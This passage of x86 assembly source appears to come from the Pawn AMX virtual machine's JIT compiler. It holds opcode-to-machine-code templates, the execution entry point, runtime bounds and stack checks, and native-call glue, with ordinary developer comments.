OP_MOVE_ALT:
;nop;
GO_ON j_move_alt, OP_XCHG
j_move_alt:
mov edx,eax
CHECKCODESIZE j_move_alt
OP_XCHG:
;nop;
GO_ON j_xchg, OP_PUSH_PRI
j_xchg: ;one might use pushes/pops for pre-586's
xchg eax,edx
CHECKCODESIZE j_xchg
;good
OP_PUSH_PRI:
;nop;
GO_ON j_push_pri, OP_PUSH_ALT
j_push_pri:
_PUSH eax
CHECKCODESIZE j_push_pri
;good
OP_PUSH_ALT:
;nop;
GO_ON j_push_alt, OP_PUSH_R_PRI
j_push_alt:
_PUSH edx
CHECKCODESIZE j_push_alt
OP_PUSH_R_PRI:
;nop;
putval j_push_r_pri+1
GO_ON j_push_r_pri, OP_PUSH_C, 8
j_push_r_pri:
mov ecx,12345678h
j_push_loop:
_PUSH eax
loop j_push_loop
;dec ecx
;jnz j_push_loop
CHECKCODESIZE j_push_r_pri
;good
OP_PUSH_C:
;nop;
putval j_push_c+1
GO_ON j_push_c, OP_PUSH, 8
j_push_c:
_PUSH 12345678h
CHECKCODESIZE j_push_c
OP_PUSH:
;nop;
putval j_push+2
GO_ON j_push, OP_PUSH_S, 8
j_push:
_PUSH [edi+12345678h]
CHECKCODESIZE j_push
;good
OP_PUSH_S:
;nop;
putval j_push_s+2
GO_ON j_push_s, OP_POP_PRI, 8
j_push_s:
_PUSH [ebx+12345678h]
CHECKCODESIZE j_push_s
OP_POP_PRI:
;nop;
GO_ON j_pop_pri, OP_POP_ALT
j_pop_pri:
_POP eax
CHECKCODESIZE j_pop_pri
;good
OP_POP_ALT:
;nop;
GO_ON j_pop_alt, OP_STACK
j_pop_alt:
_POP edx
CHECKCODESIZE j_pop_alt
;good
OP_STACK:
;nop;
putval j_stack+4
GO_ON j_stack, OP_HEAP, 8
j_stack:
mov edx,esp
add esp,12345678h
sub edx,edi
%ifdef DORUNTIMECHECKS
call [chk_marginstack]
%endif
CHECKCODESIZE j_stack
;good
OP_HEAP:
;nop;
putval j_heap_call-4
GO_ON j_heap, OP_PROC, 8
j_heap:
mov edx,hea
add dword hea,12345678h
j_heap_call:
%ifdef DORUNTIMECHECKS
call [chk_marginheap]
%endif
CHECKCODESIZE j_heap
;good
OP_PROC:
;nop;
GO_ON j_proc, OP_RET
j_proc: ;[STK] = FRM, STK = STK - cell size, FRM = STK
_PUSH frm ; push old frame (for RET/RETN)
mov frm,esp ; get new frame
mov ebx,esp ; already relocated
sub frm,edi ; relocate frame
CHECKCODESIZE j_proc
OP_RET:
;nop;
GO_ON j_ret, OP_RETN
j_ret:
_POP ebx ; pop frame
mov frm,ebx
add ebx,edi
ret
;call [jit_ret]
CHECKCODESIZE j_ret
;good
OP_RETN:
;nop;
GO_ON j_retn, OP_CALL
j_retn:
jmp [jit_retn]
CHECKCODESIZE j_retn
;good
OP_CALL:
;nop;
RELOC 1
GO_ON j_call, OP_CALL_I, 8
j_call:
;call 12345678h ; tasm chokes on this out of a sudden
db 0e8h, 0, 0, 0, 0
CHECKCODESIZE j_call
OP_CALL_I:
;nop;
GO_ON j_call_i, OP_JUMP
j_call_i:
call eax
CHECKCODESIZE j_call_i
;good
OP_JUMP:
;nop;
RELOC 1
GO_ON j_jump, OP_JREL, 8
j_jump:
DB 0e9h
DD 12345678h
CHECKCODESIZE j_jump
OP_JREL:
;nop;
mov eax,[ebx+4]
; create an absolute address from the relative one
RELOC 1, eax+ebx+8
; GWMV: is the next line really correct!?
GO_ON j_jump, OP_JREL, 8
;good
OP_JZER:
;nop;
RELOC 4
GO_ON j_jzer, OP_JNZ, 8
j_jzer:
or eax,eax
DB 0fh, 84h, 0, 0, 0, 0 ;jz NEAR 0 (tasm sucks a bit)
CHECKCODESIZE j_jzer
;good
OP_JNZ:
;nop;
RELOC 4
GO_ON j_jnz, OP_JEQ, 8
j_jnz:
or eax,eax
DB 0fh, 85h, 0, 0, 0, 0 ;jnz NEAR 0
CHECKCODESIZE j_jnz
;good
OP_JEQ:
;nop;
RELOC 4
GO_ON j_jeq, OP_JNEQ, 8
j_jeq:
cmp eax,edx
DB 0fh, 84h, 0, 0, 0, 0 ;je NEAR 0 (tasm sucks a bit)
CHECKCODESIZE j_jeq
OP_JNEQ:
;nop;
RELOC 4
GO_ON j_jneq, OP_JLESS, 8
j_jneq:
cmp eax,edx
DB 0fh, 85h, 0, 0, 0, 0 ;jne NEAR 0 (tasm sucks a bit)
CHECKCODESIZE j_jneq
OP_JLESS:
;nop;
RELOC 4
GO_ON j_jless, OP_JLEQ, 8
j_jless:
cmp eax,edx
DB 0fh, 82h, 0, 0, 0, 0 ;jb NEAR 0 (tasm sucks a bit)
CHECKCODESIZE j_jless
OP_JLEQ:
;nop;
RELOC 4
GO_ON j_jleq, OP_JGRTR, 8
j_jleq:
cmp eax,edx
DB 0fh, 86h, 0, 0, 0, 0 ;jbe NEAR 0 (tasm sucks a bit)
CHECKCODESIZE j_jleq
OP_JGRTR:
;nop;
RELOC 4
GO_ON j_jgrtr, OP_JGEQ, 8
j_jgrtr:
cmp eax,edx
DB 0fh, 87h, 0, 0, 0, 0 ;ja NEAR 0 (tasm sucks a bit)
CHECKCODESIZE j_jgrtr
OP_JGEQ:
;nop;
RELOC 4
GO_ON j_jgeq, OP_JSLESS, 8
j_jgeq:
cmp eax,edx
DB 0fh, 83h, 0, 0, 0, 0 ;jae NEAR 0 (unsigned comparison)
CHECKCODESIZE j_jgeq
OP_JSLESS:
;nop;
RELOC 4
GO_ON j_jsless, OP_JSLEQ, 8
j_jsless:
cmp eax,edx
DB 0fh, 8ch, 0, 0, 0, 0 ;jl NEAR 0
CHECKCODESIZE j_jsless
;good
OP_JSLEQ:
;nop;
RELOC 4
GO_ON j_jsleq, OP_JSGRTR, 8
j_jsleq:
cmp eax,edx
DB 0fh, 8eh, 0, 0, 0, 0 ;jle NEAR 0
CHECKCODESIZE j_jsleq
OP_JSGRTR:
;nop;
RELOC 4
GO_ON j_jsgrtr, OP_JSGEQ, 8
j_jsgrtr:
cmp eax,edx
DB 0fh, 8Fh, 0, 0, 0, 0 ;jg NEAR 0
CHECKCODESIZE j_jsgrtr
OP_JSGEQ:
;nop;
RELOC 4
GO_ON j_jsgeq, OP_SHL, 8
j_jsgeq:
cmp eax,edx
DB 0fh, 8dh, 0, 0, 0, 0 ;jge NEAR 0
CHECKCODESIZE j_jsgeq
OP_SHL:
;nop;
GO_ON j_shl, OP_SHR
j_shl:
mov ecx,edx ; TODO: save ECX if used as special register
shl eax,cl
CHECKCODESIZE j_shl
OP_SHR:
;nop;
GO_ON j_shr, OP_SSHR
j_shr:
mov ecx,edx ; TODO: save ECX if used as special register
shr eax,cl
CHECKCODESIZE j_shr
OP_SSHR:
;nop;
GO_ON j_sshr, OP_SHL_C_PRI
j_sshr:
mov ecx,edx ; TODO: save ECX if used as special register
sar eax,cl
CHECKCODESIZE j_sshr
OP_SHL_C_PRI:
;nop;
mov al,[ebx+4]
mov byte [j_shl_c_pri+2],al
GO_ON j_shl_c_pri, OP_SHL_C_ALT, 8
j_shl_c_pri:
shl eax,12h
CHECKCODESIZE j_shl_c_pri
OP_SHL_C_ALT:
;nop;
mov al,[ebx+4]
mov byte [j_shl_c_alt+2],al
GO_ON j_shl_c_alt, OP_SHR_C_PRI, 8
j_shl_c_alt:
shl edx,12h
CHECKCODESIZE j_shl_c_alt
OP_SHR_C_PRI:
;nop;
mov al,[ebx+4]
mov byte [j_shr_c_pri+2],al
GO_ON j_shr_c_pri, OP_SHR_C_ALT, 8
j_shr_c_pri:
shr eax,12h
CHECKCODESIZE j_shr_c_pri
OP_SHR_C_ALT:
;nop;
mov al,[ebx+4]
mov byte [j_shr_c_alt+2],al
GO_ON j_shr_c_alt, OP_SMUL, 8
j_shr_c_alt:
shr edx,12h
CHECKCODESIZE j_shr_c_alt
OP_SMUL:
;nop;
GO_ON j_smul, OP_SDIV
j_smul:
push edx
imul edx
pop edx
CHECKCODESIZE j_smul
;good
OP_SDIV:
;nop;
GO_ON j_sdiv, OP_SDIV_ALT
j_sdiv:
call [jit_sdiv]
CHECKCODESIZE j_sdiv
OP_SDIV_ALT:
;nop;
GO_ON j_sdiv_alt, OP_UMUL
j_sdiv_alt:
xchg eax,edx
call [jit_sdiv]
CHECKCODESIZE j_sdiv_alt
OP_UMUL:
;nop;
GO_ON j_umul, OP_UDIV
j_umul:
push edx
mul edx
pop edx
CHECKCODESIZE j_umul
OP_UDIV:
;nop;
GO_ON j_udiv, OP_UDIV_ALT
j_udiv:
mov ebp,edx
sub edx,edx
call [chk_dividezero]
div ebp
CHECKCODESIZE j_udiv
OP_UDIV_ALT:
;nop;
GO_ON j_udiv_alt, OP_ADD
j_udiv_alt:
mov ebp,eax
mov eax,edx
sub edx,edx
call [chk_dividezero]
div ebp
CHECKCODESIZE j_udiv_alt
;good
OP_ADD:
;nop;
GO_ON j_add, OP_SUB
j_add:
add eax,edx
CHECKCODESIZE j_add
;good
OP_SUB:
;nop;
GO_ON j_sub, OP_SUB_ALT
j_sub:
sub eax,edx
CHECKCODESIZE j_sub
;good
OP_SUB_ALT:
;nop;
GO_ON j_sub_alt, OP_AND
j_sub_alt:
neg eax
add eax,edx
CHECKCODESIZE j_sub_alt
OP_AND:
;nop;
GO_ON j_and, OP_OR
j_and:
and eax,edx
CHECKCODESIZE j_and
OP_OR:
;nop;
GO_ON j_or, OP_XOR
j_or:
or eax,edx
CHECKCODESIZE j_or
OP_XOR:
;nop;
GO_ON j_xor, OP_NOT
j_xor:
xor eax,edx
CHECKCODESIZE j_xor
OP_NOT:
;nop;
GO_ON j_not, OP_NEG
j_not:
neg eax ; sets CF iff EAX != 0
sbb eax,eax ; EAX == -1 iff CF set (zero otherwise)
inc eax ; -1 => 0 and 0 => 1
CHECKCODESIZE j_not
OP_NEG:
;nop;
GO_ON j_neg, OP_INVERT
j_neg:
neg eax
CHECKCODESIZE j_neg
OP_INVERT:
;nop;
GO_ON j_invert, OP_ADD_C
j_invert:
not eax
CHECKCODESIZE j_invert
;good
OP_ADD_C:
;nop;
putval j_add_c+1
GO_ON j_add_c, OP_SMUL_C, 8
j_add_c:
add eax,12345678h
CHECKCODESIZE j_add_c
;good
OP_SMUL_C:
;nop;
putval j_smul_c+3
GO_ON j_smul_c, OP_ZERO_PRI, 8
j_smul_c:
push edx
imul eax,12345678h
pop edx
CHECKCODESIZE j_smul_c
;good
OP_ZERO_PRI:
;nop;
GO_ON j_zero_pri, OP_ZERO_ALT
j_zero_pri:
sub eax,eax
CHECKCODESIZE j_zero_pri
;good
OP_ZERO_ALT:
;nop;
GO_ON j_zero_alt, OP_ZERO
j_zero_alt:
sub edx,edx
CHECKCODESIZE j_zero_alt
OP_ZERO:
;nop;
putval j_zero+2
GO_ON j_zero, OP_ZERO_S, 8
j_zero:
mov dword [edi+12345678h],0
CHECKCODESIZE j_zero
OP_ZERO_S:
;nop;
putval j_zero_s+2
GO_ON j_zero_s, OP_SIGN_PRI, 8
j_zero_s:
mov dword [ebx+12345678h],0
CHECKCODESIZE j_zero_s
OP_SIGN_PRI:
;nop;
GO_ON j_sign_pri, OP_SIGN_ALT
j_sign_pri:
shl eax,24
sar eax,24
CHECKCODESIZE j_sign_pri
OP_SIGN_ALT:
;nop;
GO_ON j_sign_alt, OP_EQ
j_sign_alt:
shl edx,24
sar edx,24
CHECKCODESIZE j_sign_alt
OP_EQ:
;nop;
GO_ON j_eq, OP_NEQ
j_eq:
cmp eax,edx ; PRI == ALT ?
mov eax,0
sete al
CHECKCODESIZE j_eq
OP_NEQ:
;nop;
GO_ON j_neq, OP_LESS
j_neq:
cmp eax,edx ; PRI != ALT ?
mov eax,0
setne al
CHECKCODESIZE j_neq
OP_LESS:
;nop;
GO_ON j_less, OP_LEQ
j_less:
cmp eax,edx ; PRI < ALT ? (unsigned)
mov eax,0
setb al
CHECKCODESIZE j_less
OP_LEQ:
;nop;
GO_ON j_leq, OP_GRTR
j_leq:
cmp eax,edx ; PRI <= ALT ? (unsigned)
mov eax,0
setbe al
CHECKCODESIZE j_leq
OP_GRTR:
;nop;
GO_ON j_grtr, OP_GEQ
j_grtr:
cmp eax,edx ; PRI > ALT ? (unsigned)
mov eax,0
seta al
CHECKCODESIZE j_grtr
OP_GEQ:
;nop;
GO_ON j_geq, OP_SLESS
j_geq:
cmp eax,edx ; PRI >= ALT ? (unsigned)
mov eax,0
setae al
CHECKCODESIZE j_geq
;good
OP_SLESS:
;nop;
GO_ON j_sless, OP_SLEQ
j_sless:
cmp eax,edx ; PRI < ALT ? (signed)
mov eax,0
setl al
CHECKCODESIZE j_sless
OP_SLEQ:
;nop;
GO_ON j_sleq, OP_SGRTR
j_sleq:
cmp eax,edx ; PRI <= ALT ? (signed)
mov eax,0
setle al
CHECKCODESIZE j_sleq
OP_SGRTR:
;nop;
GO_ON j_sgrtr, OP_SGEQ
j_sgrtr:
cmp eax,edx ; PRI > ALT ? (signed)
mov eax,0
setg al
CHECKCODESIZE j_sgrtr
OP_SGEQ:
;nop;
GO_ON j_sgeq, OP_EQ_C_PRI
j_sgeq:
cmp eax,edx ; PRI >= ALT ? (signed)
mov eax,0
setge al
CHECKCODESIZE j_sgeq
OP_EQ_C_PRI:
;nop;
putval j_eq_c_pri+1
GO_ON j_eq_c_pri, OP_EQ_C_ALT, 8
j_eq_c_pri:
cmp eax,12345678h ; PRI == value ?
mov eax,0
sete al
CHECKCODESIZE j_eq_c_pri
OP_EQ_C_ALT:
;nop;
putval j_eq_c_alt+4
GO_ON j_eq_c_alt, OP_INC_PRI, 8
j_eq_c_alt:
sub eax,eax
cmp edx,12345678h ; ALT == value ?
sete al
CHECKCODESIZE j_eq_c_alt
OP_INC_PRI:
;nop;
GO_ON j_inc_pri, OP_INC_ALT
j_inc_pri:
inc eax
CHECKCODESIZE j_inc_pri
OP_INC_ALT:
;nop;
GO_ON j_inc_alt, OP_INC
j_inc_alt:
inc edx
CHECKCODESIZE j_inc_alt
OP_INC:
;nop;
putval j_inc+2
GO_ON j_inc, OP_INC_S, 8
j_inc:
inc dword [edi+12345678h]
CHECKCODESIZE j_inc
;good
OP_INC_S:
;nop;
putval j_inc_s+2
GO_ON j_inc_s, OP_INC_I, 8
j_inc_s:
inc dword [ebx+12345678h]
CHECKCODESIZE j_inc_s
OP_INC_I:
;nop;
GO_ON j_inc_i, OP_DEC_PRI
j_inc_i:
inc dword [edi+eax]
CHECKCODESIZE j_inc_i
OP_DEC_PRI:
;nop;
GO_ON j_dec_pri, OP_DEC_ALT
j_dec_pri:
dec eax
CHECKCODESIZE j_dec_pri
OP_DEC_ALT:
;nop;
GO_ON j_dec_alt, OP_DEC
j_dec_alt:
dec edx
CHECKCODESIZE j_dec_alt
OP_DEC:
;nop;
putval j_dec+2
GO_ON j_dec, OP_DEC_S, 8
j_dec:
dec dword [edi+12345678h]
CHECKCODESIZE j_dec
OP_DEC_S:
;nop;
putval j_dec_s+2
GO_ON j_dec_s, OP_DEC_I, 8
j_dec_s:
dec dword [ebx+12345678h]
CHECKCODESIZE j_dec_s
OP_DEC_I:
;nop;
GO_ON j_dec_i, OP_MOVS
j_dec_i:
dec dword [edi+eax]
CHECKCODESIZE j_dec_i
OP_MOVS:
;nop;
putval j_movs+1
GO_ON j_movs, OP_CMPS, 8
j_movs:
mov ecx,12345678h ;TODO: save ECX if used as special register
call [jit_movs]
CHECKCODESIZE j_movs
OP_CMPS:
;nop;
putval j_cmps+1
GO_ON j_cmps, OP_FILL, 8
j_cmps:
mov ecx,12345678h ;TODO: save ECX if used as special register
call [jit_cmps]
CHECKCODESIZE j_cmps
OP_FILL:
;nop;
putval j_fill+1
GO_ON j_fill, OP_HALT, 8
j_fill:
mov ecx,12345678h ;TODO: save ECX if used as special register
call [jit_fill]
CHECKCODESIZE j_fill
;good
OP_HALT:
;nop;
putval j_halt_sm+1
GO_ON j_halt, OP_BOUNDS, 8
j_halt:
cmp dword retval,0
je j_halt_no_value
mov ebp,retval
mov [ebp],eax
j_halt_no_value:
j_halt_sm:
mov eax,12345678h
jmp [jit_return]
CHECKCODESIZE j_halt
;good
OP_BOUNDS:
;nop;
putval j_bounds+1
GO_ON j_bounds, OP_SYSREQ_C, 8
j_bounds:
mov ebp,12345678h
call [jit_bounds]
CHECKCODESIZE j_bounds
;good
OP_SYSREQ_C:
;nop;
putval j_sysreq_c+1
GO_ON j_sysreq_c, OP_SYSREQ_PRI, 8
j_sysreq_c:
mov eax,12345678h ; get function number
j_sysreq:
call [jit_sysreq]
CHECKCODESIZE j_sysreq_c
; GWMV: oh well, it may look stupid, but I don't want to miss anything
CHECKCODESIZE j_sysreq
OP_SYSREQ_PRI:
;nop;
GO_ON j_sysreq, OP_SYSREQ_PRI
OP_FILE: ;opcode is simply ignored
;nop;
mov eax,[ebx+4] ;get size
mov [ebx],edi
lea ebx,[ebx+eax+8] ;move on to next opcode
cmp ebx,dword [end_code]
jae code_gen_done
jmp dword [ebx] ;go on with the next opcode
OP_LINE:
;nop;
mov [ebx],edi ; no line number support: ignore opcode
add ebx,12 ; move on to next opcode
cmp ebx,[end_code]
jae code_gen_done
jmp dword [ebx] ; go on with the next opcode
OP_SYMBOL: ;ignored
mov [ebx],edi
mov eax,[ebx+4] ; get size
lea ebx,[ebx+eax+8] ; move on to next opcode
cmp ebx,[end_code]
jae code_gen_done
jmp dword [ebx] ; go on with the next opcode
OP_SRANGE: ;ignored
mov [ebx],edi ; store relocated address
add ebx,12 ; move on to next opcode
cmp ebx,[end_code]
jae code_gen_done
jmp dword [ebx] ; go on with the next opcode
;not tested
OP_JUMP_PRI:
GO_ON j_jump_pri, OP_SWITCH
j_jump_pri: ; MP: This opcode makes sense only in con-
jmp [eax] ; junction with a possibility to get the
; address of a code location...
CHECKCODESIZE j_jump_pri
;good
OP_SWITCH:
lea eax,[edi+6] ; The case table will be copied directly
neg eax ; after the run-time call to [jit_switch].
and eax,3 ; We should align this table on a DWORD
mov ecx,eax ; boundary.
mov al,90h ; 90h = opcode of x86 NOP instruction
rep stosb ; Write the right number of NOPs.
mov [ebx],edi ; store address of SWITCH for relocation step
mov esi, j_switch
mov ecx,6
rep movsb ; copy the call instruction
mov esi,[ebx+4] ; get address of CASETBL instruction
add ebx,8 ; set instruction pointer to next opcode
add esi,4 ; point esi to first entry: (count, default adr)
mov ecx,[esi] ; get number of cases (excluding default)
inc ecx
mov ebp,[reloc_num]
j_case_loop:
mov eax,[esi] ; get case value
stosd ; write it
mov eax,[esi+4] ; get destination address
%ifndef FORCERELOCATABLE
or eax,80000000h ; add flag for "absolute address"
%endif
mov [edx+ebp],eax ; write dest. adr. into relocation table
mov eax,[esi+4] ; get destination address (again)
add esi,8 ; set ESI to next case
mov [edx+ebp+4],edi ; write adr. to patch into relocation table
add ebp,8 ; promote relocation pointer
stosd ; write dest. adr.
dec ecx
jnz j_case_loop
mov dword [reloc_num],ebp ; write back updated reloc_num
jmp [ebx] ; GO_ON to next op-code
j_switch:
call [jit_switch]
;good
OP_CASETBL: ; compiles to nothing, SWITCH does all the work
mov eax,[ebx+4] ; get count of cases
lea ebx,[ebx+8*eax+(8+4)] ; adjust instruction pointer
jmp [ebx] ; GO_ON with next op-code
OP_SWAP_PRI: ; TR
GO_ON j_swap_pri, OP_SWAP_ALT
j_swap_pri:
_POP ebp
_PUSH eax
mov eax,ebp
CHECKCODESIZE j_swap_pri
OP_SWAP_ALT: ; TR
GO_ON j_swap_alt, OP_PUSHADDR
j_swap_alt:
_POP ebp
_PUSH edx
mov edx,ebp
CHECKCODESIZE j_swap_alt
OP_PUSHADDR: ; TR
putval j_pushaddr+1
GO_ON j_pushaddr, OP_NOP, 8
j_pushaddr:
mov ebp,12345678h ;get address (offset from frame)
add ebp,frm
_PUSH ebp
CHECKCODESIZE j_pushaddr
OP_NOP: ; TR
GO_ON j_nop, OP_SYSREQ_D
j_nop: ; code alignment is ignored by the JIT
CHECKCODESIZE j_nop
OP_SYSREQ_D:
;nop;
putval j_sysreq_d+1
GO_ON j_sysreq_d, OP_SYMTAG, 8
j_sysreq_d:
mov ebx,12345678h ; get function address
call [jit_sysreq_d]
CHECKCODESIZE j_sysreq_d
OP_SYMTAG: ;ignored (TR)
mov [ebx],edi ; store relocated address
add ebx,8 ; move on to next opcode
cmp ebx,[end_code]
jae code_gen_done
jmp dword [ebx] ; go on with the next opcode
OP_BREAK:
%ifndef DEBUGSUPPORT
mov [ebx],edi ; no line number support: ignore opcode
add ebx,4 ; move on to next opcode
cmp ebx,[end_code]
jae code_gen_done
jmp DWORD [ebx] ; go on with the next opcode
%else
GO_ON j_break, OP_INVALID
j_break:
mov ebp,amx
cmp DWORD [ebp+_debug], 0
je $+4 ; jump around the "call" statement
call [jit_break]
CHECKCODESIZE j_break
%endif
OP_INVALID: ; break from the compiler with an error code
mov eax,AMX_ERR_INVINSTR
pop esi
pop edi
pop ecx
pop ebp
ret
section .text
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ;
;cell amx_exec( cell *regs, cell *retval, cell stp, cell hea );
; eax edx ebx ecx ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
amx_exec_jit:
_amx_exec_jit:
push edi
push esi
push ebp
push ebx ; due to __cdecl
; __cdecl overhead
mov eax, [esp+20] ; get address of amx regs structure
mov edx, [esp+24] ; get address of retval
mov ebx, [esp+28] ; get stp
mov ecx, [esp+32] ; get hea
sub esp,4*3 ; place for PRI, ALT & STK at SYSREQs
push dword [eax+28] ; store pointer to code segment
push dword [eax+24] ; store pointer to AMX
push edx ; store address of retval
push ebx ; store STP
push ecx ; store HEA
push dword [eax+20]; store FRM
mov edx,[eax+4] ; get ALT
mov ecx,[eax+8] ; get CIP
mov edi,[eax+12] ; get pointer to data segment
mov esi,[eax+16] ; get STK !!changed, now ECX free as counter!!
mov ebx,[eax+20] ; get FRM
mov eax,[eax] ; get PRI
add ebx,edi ; relocate frame
add esi,edi ; ESP will contain DAT+STK
xchg esp,esi ; switch to AMX stack
add stp,edi ; make STP absolute address for run-time checks
_POP ebp ; AMX pseudo-return address, ignored
; Call compiled code via CALL NEAR <address>
call ecx
return_to_caller:
cmp dword retval,0
je return_to_caller_no_value
mov ebp,retval
mov [ebp],eax ; provide return value
return_to_caller_no_value:
mov eax,AMX_ERR_NONE
jmp _return
_return_popstack:
add esp,4 ; Correct ESP, because we just come from a
; runtime error checking routine.
_return:
; store machine state
mov ecx,esp ; get STK into ECX
mov ebp,amx ; get amx into EBP
sub ecx,edi ; correct STK
mov [ebp+_stk],ecx ; store values in AMX structure: STK, ...
mov ecx,hea ; ... HEA, ...
mov [ebp+_hea],ecx
mov ecx,ebx ; ... and FRM
sub ecx,edi ; (correct FRM)
mov [ebp+_frm],ecx
mov [ebp+_pri],eax ; also store PRI, ...
mov [ebp+_alt],edx ; ... and ALT
; return
sub stp,edi ; make STP relative to DAT again
xchg esp,esi ; switch back to caller's stack
add esp,4*9 ; remove temporary data
pop ebx ; restore registers that have to be preserved
pop ebp ; when using __cdecl convention
pop esi
pop edi
ret
err_stack:
mov eax,AMX_ERR_STACKERR
jmp _return_popstack
err_stacklow:
mov eax,AMX_ERR_STACKLOW
jmp _return_popstack
_CHKMARGIN_STACK: ; some run-time check routines
cmp esp,stp
lea ebp,[esp-STACKRESERVE]
jg err_stacklow
sub ebp,edi
cmp hea,ebp
jg err_stack
ret
err_heaplow:
mov eax,AMX_ERR_HEAPLOW
jmp _return_popstack
_CHKMARGIN_HEAP:
cmp esp,stp
jg err_stacklow
mov ebp,amx
mov ebp,[ebp+_hlw]
cmp DWORD hea,ebp
jl err_heaplow
ret
err_memaccess:
mov eax,AMX_ERR_MEMACCESS
jmp _return_popstack
_VERIFYADDRESS_eax: ; used in load.i, store.i & lidx
cmp eax,stp
jae err_memaccess
cmp eax,hea
jb veax1
lea ebp,[eax+edi]
cmp ebp,esp
jb err_memaccess
veax1:
ret
_VERIFYADDRESS_edx: ; used in load.i, store.i & lidx
cmp edx,stp
jae err_memaccess
cmp edx,hea
jb vedx1
lea ebp,[edx+edi]
cmp ebp,esp
jb err_memaccess
vedx1:
ret
JIT_OP_SDIV:
mov ebp,edx
xor edx,eax ; Check signs of the operands.
cdq
js sdiv_fiddle ; If the signs of the operands are different
; we'll have to fiddle around to achieve
; proper rounding towards minus infinity.
or ebp,ebp ; check for divide by zero
jz err_divide
idiv ebp ; default behavior is right in the other cases
ret
sdiv_fiddle:
or ebp,ebp ; check for divide by zero
jz err_divide
idiv ebp
or edx,edx
jz sdiv_goon ; If there's no remainder the result is correct
add edx,ebp ; else fix the result values.
dec eax ; Amazing, how simple this is...
sdiv_goon:
ret
ALIGN 4
JIT_OP_RETN:
_POP ebx ; pop frame
_POP ecx ; get return address
mov frm,ebx
_POP ebp
add ebx,edi
add esp,ebp ; remove data from stack
jmp ecx
JIT_OP_MOVS: ;length of block to copy is already in ECX
push edi
push esi
lea esi,[edi+eax]
lea edi,[edi+edx]
push ecx ; I hope the blocks to copy are properly
shr ecx,2 ; aligned, so I don't do anything about that.
rep movsd
pop ecx
and ecx,3
rep movsb
pop esi
pop edi
ret
JIT_OP_CMPS: ;length of block to compare is already in ECX
push edi
push esi
lea esi,[edi+edx]
lea edi,[edi+eax]
xor eax,eax ; This is surely not the fastest way to do this
repe cmpsb ; but the most simple one.
je cmps1
sbb eax,eax
sbb eax,0ffffffffh
cmps1:
pop esi
pop edi
ret
JIT_OP_FILL: ;length (in bytes) of block to fill is already in ECX
push edi
lea edi,[edi+edx]
shr ecx,2 ;length in 32-bit cells
rep stosd ;the value to use is already in EAX
pop edi
ret
JIT_OP_BOUNDS:
cmp eax,0
jl err_bounds
cmp eax,ebp
jg err_bounds
ret
err_bounds:
mov eax,AMX_ERR_BOUNDS
jmp _return_popstack
_CHKDIVIDEZERO:
or ebp,ebp ; check for divide by zero
jz err_divide
ret
err_divide:
mov eax,AMX_ERR_DIVIDE
jmp _return_popstack
JIT_OP_SYSREQ:
mov ecx,esp ; get STK into ECX
mov ebp,amx ; get amx into EBP
sub ecx,edi ; correct STK
mov alt,edx ; save ALT
mov [ebp+_stk],ecx ; store values in AMX structure: STK,
mov ecx,hea ; HEA,
mov ebx,frm ; and FRM
mov [ebp+_hea],ecx
mov [ebp+_frm],ebx
lea ebx,pri ; 3rd param: addr. of retval
lea ecx,[esp+4] ; 4th param: parameter array
xchg esp,esi ; switch to caller stack
push ecx
push ebx
push eax ; 2nd param: function number
push ebp ; 1st param: amx
call [ebp+_callback]
_DROPARGS 16 ; remove args from stack
xchg esp,esi ; switch back to AMX stack
cmp eax,AMX_ERR_NONE
jne _return_popstack; return error code, if any
mov eax,pri ; get retval into eax (PRI)
mov edx,alt ; restore ALT
mov ebx,frm ; restore FRM
add ebx,edi ; relocate frame
ret
JIT_OP_SYSREQ_D: ; (TR)
mov ecx,esp ; get STK into ECX
mov ebp,amx ; get amx into EBP
sub ecx,edi ; correct STK
mov alt,edx ; save ALT
mov [ebp+_stk],ecx ; store values in AMX structure: STK,
mov ecx,hea ; HEA,
mov eax,frm ; and FRM
mov [ebp+_hea],ecx
mov [ebp+_frm],eax ; eax & ecx are invalid by now
lea edx,[esp+4] ; 2nd param: parameter array
xchg esp,esi ; switch to caller stack
push edx
push ebp ; 1st param: amx
call ebx ; direct call
_DROPARGS 8 ; remove args from stack
xchg esp,esi ; switch back to AMX stack
mov ebp,amx ; get amx into EBP
cmp dword [ebp+_error],AMX_ERR_NONE
jne _return_popstack; return error code, if any
; return value is in eax (PRI)
mov edx,alt ; restore ALT
mov ebx,frm ; restore FRM
add ebx,edi ; relocate frame
ret
JIT_OP_BREAK:
%ifdef DEBUGSUPPORT
mov ecx,esp ; get STK into ECX
mov ebp,amx ; get amx into EBP
sub ecx,edi ; correct STK
mov [ebp+_pri],eax ; store values in AMX structure: PRI,
mov [ebp+_alt],edx ; ALT,
mov [ebp+_stk],ecx ; STK,
mov ecx,hea ; HEA,
mov ebx,frm ; and FRM
mov [ebp+_hea],ecx
mov [ebp+_frm],ebx ; EBX & ECX are invalid by now
;??? storing CIP is not very useful, because the code changed (during JIT compile)
xchg esp,esi ; switch to caller stack
push ebp ; 1st param: amx
call [ebp+_debug]
_DROPARGS 4 ; remove args from stack
xchg esp,esi ; switch back to AMX stack
cmp eax,AMX_ERR_NONE
jne _return_popstack; return error code, if any
mov ebp,amx ; get amx into EBP
mov eax,[ebp+_pri] ; restore values
mov edx,[ebp+_alt] ; ALT,
mov edx,alt ; restore ALT
mov ebx,frm ; restore FRM
add ebx,edi ; relocate frame
%endif
ret
JIT_OP_SWITCH:
pop ebp ; pop return address = table address
mov ecx,[ebp] ; ECX = number of records
lea ebp,[ebp+ecx*8+8] ; set pointer _after_ LAST case
jecxz op_switch_jump ; special case: no cases at all
op_switch_loop:
cmp eax,[ebp-8] ; PRI == case label?
je op_switch_jump ; found, jump
sub ebp,8 ; position to preceding case
loop op_switch_loop ; check next case, or fall through
op_switch_jump:
%ifndef FORCERELOCATABLE
jmp [ebp-4] ; jump to the case instructions
%else
add ebp,[ebp-4] ; add offset to make absolute adddress
jmp ebp
%endif
; The caller of asm_runJIT() can determine the maximum size of the compiled
; code by multiplying the result of this function by the number of opcodes in
; Pawn module.
;
; unsigned long getMaxCodeSize_();
;
getMaxCodeSize:
_getMaxCodeSize:
mov eax,MAXCODESIZE
ret
section .data
ALIGN 4 ; This is essential to avoid misalignment stalls.
end_code DD 0 ; pointer to the end of the source code
compiled_code DD 0 ; pointer to compiled code (including preamble)
amxhead DD 0 ; pointer to the AMX_HEADER struct (arg #1 to runJIT)
